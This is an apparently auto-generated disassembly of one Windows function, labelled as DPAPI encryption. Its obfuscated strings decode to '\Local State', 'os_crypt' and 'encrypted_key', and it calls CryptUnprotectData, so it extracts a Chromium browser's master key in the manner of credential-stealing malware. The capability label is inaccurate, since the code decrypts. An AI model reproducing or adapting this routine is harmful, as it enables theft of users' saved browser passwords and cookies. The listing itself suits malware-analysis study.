Function at 0x1400eb210
Capabilities:
Encrypt data using dpapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x258]
sub rsp, 0x320
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
movaps xmmword [rax - 0x88], xmm10
movaps xmmword [rax - 0x98], xmm11
movaps xmmword [rax - 0xa8], xmm12
movaps xmmword [rax - 0xb8], xmm13
mov rax, qword [0x140159040]
xor rax, rsp
mov qword [rbp + 0x198], rax
mov rsi, r8
mov r14, rdx
mov eax, 0xd49d3152
movd xmm6, eax
mov eax, 0xe
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe0], al
mov eax, 0x1e
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe1], al
mov eax, 0x3d
movd xmm0, eax
vpxor xmm7, xmm0, xmm6
movd eax, xmm7
mov byte [rbp + 0xe2], al
mov eax, 0x31
movd xmm0, eax
vpxor xmm13, xmm0, xmm6
movd eax, xmm13
mov byte [rbp + 0xe3], al
mov eax, 0x33
movd xmm0, eax
vpxor xmm2, xmm0, xmm6
movd eax, xmm2
mov byte [rbp + 0xe4], al
mov eax, 0x3e
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe5], al
mov eax, 0x72
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe6], al
mov eax, 1
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe7], al
mov eax, 0x26
movd xmm0, eax
vpxor xmm12, xmm0, xmm6
movd eax, xmm12
mov byte [rbp + 0xe8], al
movd eax, xmm2
mov byte [rbp + 0xe9], al
movd eax, xmm12
mov byte [rbp + 0xea], al
mov eax, 0x37
movd xmm0, eax
vpxor xmm11, xmm0, xmm6
movd eax, xmm11
mov byte [rbp + 0xeb], al
mov eax, 0x52
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd r12d, xmm1
mov byte [rbp + 0xec], r12b
lea rax, [rbp + 0xe0]
mov r15, 0xffffffffffffffff
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400eb3b0
lea rdx, [rbp + 0xe0]
mov rcx, rsi
call fcn.1400d4a50
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x30]
call fcn.140124420
mov rdx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x1400eb3e7
mov rdx, qword [rsi]
mov r8d, 0x20
lea rcx, [rbp - 0x30]
call fcn.1400dc530
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x20], 6
jne 0x1400ebaea
mov r8d, 2
lea rcx, [rbp - 0x30]
call fcn.1400daaf0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x30]
call fcn.1400daa10
mov ebx, dword [rax + 8]
add ebx, dword [rax]
xor r8d, r8d
lea rcx, [rbp - 0x30]
call fcn.1400daaf0
movsxd rdi, ebx
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xf0], xmm0
xor r13d, r13d
mov qword [rbp + 0x100], r13
test ebx, ebx
je 0x1400eb4f6
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x1400ebbc1
cmp rdi, 0x1000
jb 0x1400eb4c8
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x1400ebbc7
call fcn.1400fc2e0
mov rcx, rax
test rax, rax
je 0x1400ebbbb
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400eb4d0
mov rcx, rdi
call fcn.1400fc2e0
mov qword [rbp + 0xf0], rax
lea rbx, [rax + rdi]
mov qword [rbp + 0x100], rbx
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.140124420
mov qword [rbp + 0xf8], rbx
mov r8, rdi
mov rdx, qword [rbp + 0xf0]
lea rcx, [rbp - 0x30]
call fcn.1400dace0
mov qword [rbp - 0x48], r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
mov rdx, qword [rbp + 0xf0]
mov r8, qword [rbp + 0xf8]
cmp rdx, r8
jne 0x1400eb549
mov qword [rbp + 0x138], 0xf
mov byte [rbp + 0x120], r13b
jmp 0x1400eb558
sub r8, rdx
lea rcx, [rbp + 0x120]
call fcn.1400d1ed0
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x120]
lea rcx, [rsp + 0x40]
call fcn.1400dd6c0
mov rbx, rax
movd eax, xmm7
mov byte [rbp + 0xe0], al
mov eax, 0x21
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe1], al
mov eax, 0xd
movd xmm0, eax
vpxor xmm8, xmm0, xmm6
movd eax, xmm8
mov byte [rbp + 0xe2], al
movd eax, xmm13
mov byte [rbp + 0xe3], al
mov eax, 0x20
movd xmm0, eax
vpxor xmm9, xmm0, xmm6
movd eax, xmm9
mov byte [rbp + 0xe4], al
mov eax, 0x2b
movd xmm0, eax
vpxor xmm7, xmm0, xmm6
movd eax, xmm7
mov byte [rbp + 0xe5], al
mov eax, 0x22
movd xmm0, eax
vpxor xmm10, xmm0, xmm6
movd eax, xmm10
mov byte [rbp + 0xe6], al
movd eax, xmm12
mov byte [rbp + 0xe7], al
mov byte [rbp + 0xe8], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
lea rax, [rbp + 0xe0]
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x1400eb630
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x160]
call fcn.1400d1ed0
lea rdx, [rbp + 0x160]
mov rcx, rbx
call fcn.1400de670
mov rbx, rax
movd eax, xmm11
mov byte [rbp + 0xe0], al
mov eax, 0x3c
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe1], al
movd eax, xmm13
mov byte [rbp + 0xe2], al
movd eax, xmm9
mov byte [rbp + 0xe3], al
movd eax, xmm7
mov byte [rbp + 0xe4], al
movd eax, xmm10
mov byte [rbp + 0xe5], al
movd eax, xmm12
mov byte [rbp + 0xe6], al
movd eax, xmm11
mov byte [rbp + 0xe7], al
mov eax, 0x36
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe8], al
movd eax, xmm8
mov byte [rbp + 0xe9], al
mov eax, 0x39
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xea], al
movd eax, xmm11
mov byte [rbp + 0xeb], al
movd eax, xmm7
mov byte [rbp + 0xec], al
mov byte [rbp + 0xed], r12b
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
lea rax, [rbp + 0xe0]
mov r8, r15
inc r8
cmp byte [rax + r8], r13b
jne 0x1400eb731
lea rdx, [rbp + 0xe0]
lea rcx, [rsp + 0x58]
call fcn.1400d1ed0
lea rdx, [rsp + 0x58]
mov rcx, rbx
call fcn.1400de670
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
cmp byte [rax], 3
jne 0x1400ebbcd
mov r8, qword [rax + 8]
mov rdx, r8
cmp qword [r8 + 0x18], 0xf
jbe 0x1400eb787
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp + 0x160]
call fcn.1400d1ed0
nop
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.1400dc6e0
nop
lea rcx, [rbp + 0x120]
call fcn.1400d1e20
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], rax
lea rdx, [rbp + 0x160]
lea rcx, [rsp + 0x58]
call fcn.1400d1c70
mov rdx, rax
lea rcx, [rbp + 0x108]
call fcn.1400fb7a0
mov r8, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x108]
lea rcx, [rbp + 0x120]
call fcn.1400dd7e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x150], xmm1
mov rax, qword [rbp + 0x130]
cmp rax, 5
jb 0x1400ebc10
add rax, 0xfffffffffffffffb
cmp rax, 0xffffffffffffffff
cmovb r15, rax
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rdx, qword [rbp + 0x120]
add rdx, 5
mov r8, r15
lea rcx, [rbp + 0x140]
call fcn.1400d1ed0
mov dword [rbp - 0x3c], r13d
mov eax, dword [rbp + 0x150]
mov dword [rbp - 0x40], eax
lea rax, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova rax, qword [rbp + 0x140]
mov qword [rbp - 0x38], rax
lea rcx, [rbp - 0x20]
call fcn.1400dc290
test rax, rax
jne 0x1400eb8c5
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0x18], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rbp + rcx - 0x20]
and eax, 0x17
mov dword [rbp + rcx - 0x20], eax
mov edx, dword [rbp + rcx - 0x1c]
and edx, eax
jne 0x1400ebc16
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x40]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1400eba34
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, [rbp + 0x140]
call fcn.1400d1e20
lea rcx, [rbp + 0x120]
call fcn.1400d1e20
mov rcx, qword [rbp + 0x108]
test rcx, rcx
je 0x1400eb962
mov rdx, qword [rbp + 0x118]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400eb94b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400ebbbb
call fcn.1400fc62c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], r13
lea rcx, [rbp + 0x160]
call fcn.1400d1e20
mov rcx, qword [rbp + 0xf0]
test rcx, rcx
je 0x1400eb9c0
mov rdx, qword [rbp + 0x100]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400eb9a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400ebbbb
call fcn.1400fc62c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], r13
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x20]
call fcn.1400da8e0
mov rax, qword [rbp - 0x30]
movsxd rdx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rdx - 0x30], rax
mov rdx, qword [rbp - 0x30]
movsxd r8, dword [rdx + 4]
lea r9d, [r8 - 0x18]
mov dword [rbp + r8 - 0x34], r9d
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x80]
call fcn.1400fe078
nop
jmp 0x1400ebb5e
lea rcx, [rbp + 0x140]
call fcn.1400d1e20
lea rcx, [rbp + 0x120]
call fcn.1400d1e20
mov rcx, qword [rbp + 0x108]
test rcx, rcx
je 0x1400eba9e
mov rdx, qword [rbp + 0x118]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400eba87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400ebbbb
call fcn.1400fc62c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], r13
lea rcx, [rbp + 0x160]
call fcn.1400d1e20
mov rcx, qword [rbp + 0xf0]
test rcx, rcx
je 0x1400ebaea
mov rdx, qword [rbp + 0x100]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400ebae5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400ebbbb
call fcn.1400fc62c
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x20]
call fcn.1400da8e0
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x34], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x80]
call fcn.1400fe078
nop
mov rcx, rsi
call fcn.1400d1e20
mov rax, r14
mov rcx, qword [rbp + 0x198]
xor rcx, rsp
call fcn.1400fc020
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140104908
int3
call fcn.1400d2140
int3
call fcn.1400d1340
int3
mov rcx, rax
call fcn.1400df130
mov qword [rbp + 0xe0], rax
lea r8, [rbp + 0xe0]
lea rcx, [rsp + 0x58]
call fcn.1400e9760
mov r8, rax
lea rcx, [rbp + 0x160]
call fcn.1400e9820
lea rdx, [0x140157228]
lea rcx, [rbp + 0x160]
call fcn.140100138
int3
call fcn.1400d4ae0
int3
test dl, 4
je 0x1400ebc24
lea rbx, str.ios_base::badbit_set
jmp 0x1400ebc39
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.1400d5c80
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.1400d6150
lea rdx, [0x140157350]
lea rcx, [rsp + 0x58]
call fcn.140100138
int3